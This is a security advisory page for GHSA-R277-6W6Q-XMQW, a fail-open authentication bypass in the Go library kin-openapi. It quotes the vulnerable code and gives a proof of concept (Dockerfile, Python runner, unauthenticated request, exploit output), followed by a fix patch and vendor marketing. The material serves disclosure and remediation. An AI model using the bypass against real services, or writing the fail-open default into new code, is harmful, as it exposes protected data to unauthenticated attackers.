GHSA-R277-6W6Q-XMQW

GHSA-R277-6W6Q-XMQW is a critical-severity improper authentication vulnerability in github.com/getkin/kin-openapi (go), affecting versions <= 0.143.0. It is fixed in 0.144.0.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

kin-openapi: ValidationHandler.Load() Fail-Open Authentication Bypass via NoopAuthenticationFunc Default

ValidationHandler.Load() in getkin/kin-openapi silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc, which always returns nil without performing any credential check. Because this substitution happens unconditionally when the caller omits the field, every OpenAPI security requirement declared in the spec is silently satisfied for unauthenticated requests. An unauthenticated remote attacker can reach handlers for routes whose OpenAPI operation requires an API key, OAuth token, or any other security scheme if the application relies on ValidationHandler as its enforcement middleware.

Details

ValidationHandler is an HTTP middleware exported by openapi3filter that validates incoming requests and responses against a loaded OpenAPI specification. Its Load() method initialises default fields before the handler begins serving:

// openapi3filter/validation_handler.go:47-49
if h.AuthenticationFunc == nil {
    h.AuthenticationFunc = NoopAuthenticationFunc
}

NoopAuthenticationFunc is defined as:

// openapi3filter/validation_handler.go:17-18
func NoopAuthenticationFunc(context.Context, *AuthenticationInput) error { return nil }

It always returns nil, meaning every security scheme check it handles is automatically approved.

When a request arrives, ServeHTTPbeforevalidateRequest assembles a RequestValidationInput with the current AuthenticationFunc (now the no-op) injected into Options:

// openapi3filter/validation_handler.go:91-103
options := &Options{
    AuthenticationFunc: h.AuthenticationFunc,
}
requestValidationInput := &RequestValidationInput{
    Request:    r,
    PathParams: pathParams,
    Route:      route,
    Options:    options,
}
if err = ValidateRequest(r.Context(), requestValidationInput); err != nil {
    return err
}

Inside ValidateRequest, each security requirement calls options.AuthenticationFunc:

// openapi3filter/validate_request.go:436-438
f := options.AuthenticationFunc
if f == nil {
    return ErrAuthenticationServiceMissing   // fail-closed path, never reached via ValidationHandler
}
// ...
// openapi3filter/validate_request.go:497-503
if err := f(ctx, &AuthenticationInput{...}); err != nil {
    return err
}

Because f is the no-op (not nil), the ErrAuthenticationServiceMissing guard is never triggered and f(...) returns nil, clearing the security requirement. Control then proceeds to the protected handler (validation_handler.go:61-62).

The critical contradiction is that callers who use ValidateRequest directly with a nil AuthenticationFunc get fail-closed behavior (ErrAuthenticationServiceMissing), while callers who use the higher-level ValidationHandler with a nil AuthenticationFunc get fail-open behavior. Since omitting AuthenticationFunc is the natural default, the majority of real-world integrations are vulnerable.

Affected source file and line: openapi3filter/validation_handler.go:47–49 (commit 30e2923, tag v0.143.0).

PoC

Environment

Docker (any version supporting multi-stage builds)
Go 1.25 (inside the container via golang:1.25-alpine)
getkin/kin-openapi v0.143.0 (local source copy)

Step 1, Build the Docker image

From the repository root (parent of vuln-001/):

docker build \
  -t vuln001-auth-bypass-poc \
  -f vuln-001/Dockerfile \
  reports/github_web_233_getkin__kin-openapi

The Dockerfile copies the local kin-openapi source into /kin-openapi/ inside the image and builds a Go binary (/poc-binary) from main.go. The go.mod inside the image uses a replace directive pointing to /kin-openapi, so no network access to the Go module proxy is required.

Step 2, Run the container

docker run --rm --network none vuln001-auth-bypass-poc

Step 3 (alternative), Use the Python helper

python3 vuln-001/poc.py --no-cleanup

What the PoC does

main.go creates a temporary OpenAPI 3.0 spec that declares GET /secret as protected by an apiKey security scheme:

paths:
  /secret:
    get:
      security:
        - apiKey: []
components:
  securitySchemes:
    apiKey:
      type: apiKey
      name: X-Api-Key
      in: header

It then constructs a ValidationHandler without setting AuthenticationFunc, calls Load(), and sends a request with no X-Api-Key header:

GET /secret HTTP/1.1
Host: example.test
# X-Api-Key header is intentionally absent

Expected (vulnerable) output

=== CONTRAST: Direct ValidateRequest with nil AuthenticationFunc ===
  Direct ValidateRequest (nil auth) => ERROR: security requirements failed: missing AuthenticationFunc
  -> Fail-CLOSED behavior confirmed: missing auth function is rejected

=== EXPLOIT: ValidationHandler.Load() with nil AuthenticationFunc ===
  OpenAPI spec defines: security: [{apiKey: []}] on GET /secret
  ValidationHandler.AuthenticationFunc: NOT SET (nil)
  Load() will inject NoopAuthenticationFunc, which always returns nil

  Request:  GET /secret  (X-Api-Key header: absent)
  Response: status=200  body="SECRET_DATA\n"

[EXPLOIT SUCCESS] Auth bypass confirmed!
  Protected resource /secret returned SECRET_DATA without credentials.
  ValidationHandler.Load() silently injected NoopAuthenticationFunc.
  Security requirement was bypassed. VULN-001 REPRODUCED.

The contrast block confirms fail-closed behavior when ValidateRequest is called directly. The exploit block confirms fail-open behavior through ValidationHandler. Status 200 and SECRET_DATA are returned without any credential.

Remediation patch

--- a/openapi3filter/validation_handler.go
+++ b/openapi3filter/validation_handler.go
@@
  if h.Handler == nil {
      h.Handler = http.DefaultServeMux
  }
- if h.AuthenticationFunc == nil {
-     h.AuthenticationFunc = NoopAuthenticationFunc
- }
  if h.ErrorEncoder == nil {
      h.ErrorEncoder = DefaultErrorEncoder
  }

After this change, a nil AuthenticationFunc propagates into ValidateRequest, which returns ErrAuthenticationServiceMissing and rejects the request. Callers who genuinely want to skip authentication can still opt in explicitly: h.AuthenticationFunc = openapi3filter.NoopAuthenticationFunc.

Reproduction artifacts

Dockerfile

FROM golang:1.25-alpine

# Install git (needed by go mod for some packages)
RUN apk add --no-cache git

WORKDIR /workspace

# Copy the vulnerable kin-openapi repository as a local module replacement
COPY repo/ /kin-openapi/

# Set up the PoC Go module
RUN mkdir -p /workspace/poc
WORKDIR /workspace/poc

# Create go.mod that uses the local copy of the vulnerable kin-openapi
RUN cat > go.mod <<'EOF'
module kin-openapi-auth-bypass-poc

go 1.25

require github.com/getkin/kin-openapi v0.143.0

replace github.com/getkin/kin-openapi => /kin-openapi
EOF

# Copy the PoC source (build context is the parent directory of vuln-001/)
COPY vuln-001/main.go /workspace/poc/main.go

# Resolve dependencies and build
RUN go mod tidy && \
    go build -o /poc-binary .

# Run the PoC
CMD ["/poc-binary"]

poc.py

#!/usr/bin/env python3
"""
PoC for VULN-001: ValidationHandler.Load() Fail-Open Auth Bypass via NoopAuthenticationFunc Default
Repository: getkin/kin-openapi v0.143.0
CWE: CWE-287 (Improper Authentication)
CVSS: 9.1 (Critical)

Vulnerability Summary:
    ValidationHandler.Load() silently replaces a nil AuthenticationFunc with NoopAuthenticationFunc.
    NoopAuthenticationFunc always returns nil (no error), so any OpenAPI security requirement
    passes without validation when the user forgets to set AuthenticationFunc.

    Contrast: ValidateRequest() with nil AuthenticationFunc returns ErrAuthenticationServiceMissing
    (fail-closed). ValidationHandler.Load() breaks this guarantee (fail-open).

Usage:
    python3 poc.py [--build-dir <dir>] [--image <name>] [--no-cleanup]
"""

import argparse
import os
import subprocess
import sys
import json

IMAGE_NAME = "vuln001-auth-bypass-poc"
SCRIPT_DIR = os.path.dirname(os.path.abspath(__file__))
REPO_DIR = os.path.join(os.path.dirname(SCRIPT_DIR), "repo")

SUCCESS_MARKER = "[EXPLOIT SUCCESS]"
EXPECTED_STATUS = "status=200"
EXPECTED_BODY = 'body="SECRET_DATA\\n"'


def run(cmd, **kwargs):
    """Run a shell command and return (returncode, stdout, stderr)."""
    print(f"[CMD] {' '.join(cmd)}")
    result = subprocess.run(cmd, capture_output=True, text=True, **kwargs)
    if result.stdout:
        print(result.stdout, end="")
    if result.stderr:
        print(result.stderr, end="", file=sys.stderr)
    return result.returncode, result.stdout, result.stderr


def build_image(build_dir):
    """Build the Docker image containing the PoC binary."""
    print("\n[*] Building Docker image ...")
    rc, stdout, stderr = run([
        "docker", "build",
        "--build-arg", f"REPO_DIR={REPO_DIR}",
        "-t", IMAGE_NAME,
        "-f", os.path.join(build_dir, "Dockerfile"),
        # Build context is the reports root so both Dockerfile and repo/ are reachable
        os.path.dirname(build_dir),
    ])
    if rc != 0:
        print(f"[ERROR] Docker build failed (exit {rc})", file=sys.stderr)
        sys.exit(rc)
    print("[*] Docker build succeeded.")
    return f"docker build -t {IMAGE_NAME} -f {os.path.join(build_dir, 'Dockerfile')} {os.path.dirname(build_dir)}"


def run_container():
    """Run the container and capture output."""
    print("\n[*] Running PoC container ...")
    rc, stdout, stderr = run([
        "docker", "run", "--rm",
        "--network", "none",   # no network access needed
        IMAGE_NAME,
    ])
    combined = stdout + stderr
    return rc, combined


def evaluate(exit_code, output):
    """Determine whether the exploit was confirmed."""
    passed = (
        exit_code == 0
        and SUCCESS_MARKER in output
        and EXPECTED_STATUS in output
        and EXPECTED_BODY in output
    )
    return passed


def cleanup_image():
    """Remove the Docker image."""
    print(f"\n[*] Removing Docker image {IMAGE_NAME} ...")
    run(["docker", "rmi", "-f", IMAGE_NAME])


def main():
    global IMAGE_NAME
    parser = argparse.ArgumentParser(description="VULN-001 Auth Bypass PoC runner")
    parser.add_argument("--build-dir", default=SCRIPT_DIR,
                        help="Directory containing Dockerfile and main.go")
    parser.add_argument("--image", default=IMAGE_NAME,
                        help="Docker image name to build/run")
    parser.add_argument("--no-cleanup", action="store_true",
                        help="Keep the Docker image after the run")
    args = parser.parse_args()
    IMAGE_NAME = args.image

    print("=" * 60)
    print("VULN-001 PoC: Auth Bypass via NoopAuthenticationFunc Default")
    print("=" * 60)
    print(f"  Build dir : {args.build_dir}")
    print(f"  Repo dir  : {REPO_DIR}")
    print(f"  Image     : {IMAGE_NAME}")

    build_cmd = build_image(args.build_dir)
    run_cmd = f"docker run --rm --network none {IMAGE_NAME}"

    exit_code, output = run_container()

    if not args.no_cleanup:
        cleanup_image()

    passed = evaluate(exit_code, output)

    print("\n" + "=" * 60)
    if passed:
        print("[RESULT] PASS, Auth bypass CONFIRMED")
        print("  The protected handler returned SECRET_DATA without credentials.")
        print("  ValidationHandler.Load() injected NoopAuthenticationFunc silently.")
    else:
        print(f"[RESULT] FAIL, Exploit not confirmed (exit={exit_code})")

    print(f"\nContainer exit code : {exit_code}")
    print(f"Success marker found: {SUCCESS_MARKER in output}")
    print(f"Status 200 found    : {EXPECTED_STATUS in output}")
    print(f"Secret body found   : {EXPECTED_BODY in output}")

    # Exit with code that signals pass/fail
    sys.exit(0 if passed else 1)


if __name__ == "__main__":
    main()

Impact

This is an authentication bypass vulnerability (CWE-287). Any application that:

  1. uses openapi3filter.ValidationHandler as its HTTP middleware, and
  2. declares one or more security requirements in its OpenAPI specification, and
  3. does not explicitly set AuthenticationFunc,

is fully exposed. An unauthenticated remote attacker can send requests to any protected endpoint without supplying credentials; the middleware accepts the request and forwards it to the underlying handler as if authentication had succeeded.

Affected parties include all Go services that adopt ValidationHandler as a drop-in validation layer and rely on OpenAPI security declarations for access control without adding a separate authentication layer upstream (e.g., an API gateway or reverse proxy). Because the insecure behavior is the default, developers following the "getting started" path are affected without any additional mistake.

The confidentiality and integrity of data behind secured endpoints are both at high risk. Availability is not directly affected by this vulnerability.

The application does not adequately verify the identity of a user, device, or process before granting access. Typical impact: unauthorized access to functions or data reserved for authenticated parties.

GHSA-R277-6W6Q-XMQW has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.144.0); upgrading removes the vulnerable code path.

Affected versions

github.com/getkin/kin-openapi (<= 0.143.0)

Security releases

github.com/getkin/kin-openapi → 0.144.0 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/getkin/kin-openapi to 0.144.0 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is GHSA-R277-6W6Q-XMQW? GHSA-R277-6W6Q-XMQW is a critical-severity improper authentication vulnerability in github.com/getkin/kin-openapi (go), affecting versions <= 0.143.0. It is fixed in 0.144.0. The application does not adequately verify the identity of a user, device, or process before granting access.
  2. How severe is GHSA-R277-6W6Q-XMQW? GHSA-R277-6W6Q-XMQW has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/getkin/kin-openapi are affected by GHSA-R277-6W6Q-XMQW? github.com/getkin/kin-openapi (go) versions <= 0.143.0 is affected.
  4. Is there a fix for GHSA-R277-6W6Q-XMQW? Yes. GHSA-R277-6W6Q-XMQW is fixed in 0.144.0. Upgrade to this version or later.
  5. Is GHSA-R277-6W6Q-XMQW exploitable, and should I be worried? Whether GHSA-R277-6W6Q-XMQW is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether GHSA-R277-6W6Q-XMQW is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix GHSA-R277-6W6Q-XMQW? Upgrade github.com/getkin/kin-openapi to 0.144.0 or later.

Other vulnerabilities in github.com/getkin/kin-openapi

Stop the waste.
Protect your environment with Kodem.